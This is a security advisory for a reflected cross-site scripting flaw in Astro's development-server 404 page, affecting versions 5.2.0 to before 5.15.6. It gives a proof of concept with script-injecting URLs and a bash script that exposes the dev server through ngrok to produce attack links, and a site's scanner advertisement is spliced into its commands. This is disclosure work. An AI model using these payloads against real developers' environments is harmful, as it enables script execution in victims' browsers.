| Package | Affected versions | Patched versions |
|---|---|---|
| astro | ≥ 5.2.0, < 5.15.6 | 5.15.6 |
| astro | ≥ 5.2.0, < 5.15.6 | 5.15.6 |
A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the trailingSlash configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.
The vulnerability was introduced in commit 536175528 (PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.
Issue: The corrected variable, which is derived from the user-controlled pathname parameter, is directly interpolated into the HTML without proper escaping. While the pathname variable itself is escaped elsewhere in the same file (line 114: escape(pathname)), the corrected variable is not sanitized before being inserted into both the href attribute and the link text.
When a developer has configured trailingSlash to 'always' or 'never' and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.
Basic vulnerability verification in local development environment
<details> <summary>Show details</summary>astro.config.mjs:
import { defineConfig } from 'astro/config';
export default defineConfig({
trailingSlash: 'never', // or 'always'
server: {
port: 3000,
host: true
}
});
package.json:
{
"name": "astro-xss-poc-victim",
"version": "0.1.0",
"scripts": {
"dev": "astro dev"
},
"dependencies": {
"astro": "5.15.5"
}
}
Start the development server:
</details> <details> <summary>Show details</summary> </details>Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freenpm install
npm run dev
Access the following malicious URL depending on your configuration:
For trailingSlash: 'never' (requires trailing slash):
http://localhost:3000/"></code><script>alert(document.domain)</script><!--/
For trailingSlash: 'always' (no trailing slash):
http://localhost:3000/"></code><script>alert(document.domain)</script><!--
When accessing the malicious URL:
alert(document.domain)) executes in the browserReproduce realistic attack scenario via external malicious link
Prerequisites: ngrok account and authtoken configured (ngrok config add-authtoken <key>)
Setup and Execution:
#!/bin/bash
set -e
mkdir -p logs
npm i
npm run dev > ./logs/victim.log 2>&1 &
ngrok http 3000 > ./logs/ngrok.log 2>&1 &
sleep 3
NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | head -1 | cut -d'"' -f4)
echo ""
echo "=== Attack URLs ==="
echo ""
echo "For trailingSlash: 'never' (requires trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--/"
echo ""
echo "For trailingSlash: 'always' (no trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--"
echo ""
wait
When a remote user accesses either of the generated attack URLs:
alert(document.domain)) executes in the user's browserBoth URL patterns work depending on your trailingSlash configuration ('never' or 'always').
This only affects the development server. Risk depends on how and where the dev server is exposed.
localhost endpoints or dev tools depending on browser policies.